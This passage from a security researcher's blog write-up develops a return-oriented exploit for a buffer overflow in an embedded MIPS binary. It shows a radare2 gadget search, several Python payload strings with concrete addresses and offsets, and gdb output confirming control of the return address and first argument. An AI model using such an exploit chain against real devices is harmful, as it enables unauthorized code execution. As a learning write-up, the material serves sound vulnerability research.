We control the jump but… jump to where? We do not have any memory reference where our shellcode is. Instead of that we can try find a gadget that let us set a custom $ra and $a0 (if $ra and $a0 are values taken from the stack we can do something like dangerous_function(“whatever”)). A quick search with radare2 shows us a good candidate:
[0x004027b0]> "/R/ addiu a0;j* ra"
0x004154d4 27a40018 addiu a0, sp, 0x18
0x004154d8 8fbc0010 lw gp, 0x10(sp)
0x004154dc 8fbf0030 lw ra, 0x30(sp)
0x004154e0 03e00008 jr ra
0x004154e4 27bd0038 addiu sp, sp, 0x38
The register $a0 takes his value from the stack and $ra too, plus a jump to $ra. It is perfect! Put it together:
payload = "A" * 95 # Padding 1
payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
# 881
payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
Test it (put a breakpoint at 0x4154e0, where it takes the jump):
(gdb) x/i $pc
=> 0x4154e0 <__floatsidf+64>: jr ra
0x4154e4 <__floatsidf+68>: addiu sp,sp,56
(gdb) x/wx $a0
0x76fff550: 0x416f4141
(gdb) x/wx $ra
0x41774141: Cannot access memory at address 0x41774141
Whooooho! Exactly as we wanted. Just edit the payload to
payload = "A" * 95 # Padding 1
payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
payload += "A" * 4 # Padding 3
payload += "B" * 4 #Value that will take $a0
payload += "A" * 20 # Padding 4
payload += "C" * 4 #Value for $ra
Fire in the hole!
(gdb) x/i $pc
=> 0x4154e0 <__floatsidf+64>: jr ra
0x4154e4 <__floatsidf+68>: addiu sp,sp,56
(gdb) x/wx $a0
0x76fff550: 0x42424242
(gdb) x/i $ra
0x43434343: Cannot access memory at address 0x43434342
So we can call any function in the scope of our binary with an argument controlled by us. Continue this PoC is left as an exercise for the reader… but keep something in mind: the gadget used by us modify $gp (lw gp, 0x10(sp)
). At 0x10 is the address used to bypass the crash, so in order to set other address we can build our payload with a small jump backwards and use addiu sp, sp, 0xc0
at 0x0040b8a0. So our payload will looks more like:
payload = "A" * 95 # Padding 1
payload += "\x00\x40\xb8\x98" # Short jump backwards
payload += "C" * 16 # Padding 2
payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0))
payload += "D" * 168 # Padding 3
payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra
payload += "E" * 12 # Padding 4
payload += "X" * # Value for $gp, change it if needed.
payload += "F" * 4 # Padding 5
payload += "Y" * 4 # Value for $a0
payload += "G" * 4 # Padding 6
payload += "Z" * 4 # Value for $ra
This summer research in embedded devices had some cool results like this vulnerability, but more important: it was a nice way to learn more about exploiting and vulnerability hunting. If you find useful this article, or wanna point me to an error or a typo (keep in mind that I am new at this, so any tip is really welcome!), feel free to contact me at twitter @TheXC3LL.
Kudos to Pedro “P3r1k0” Guillén and his wicked sleep schedule.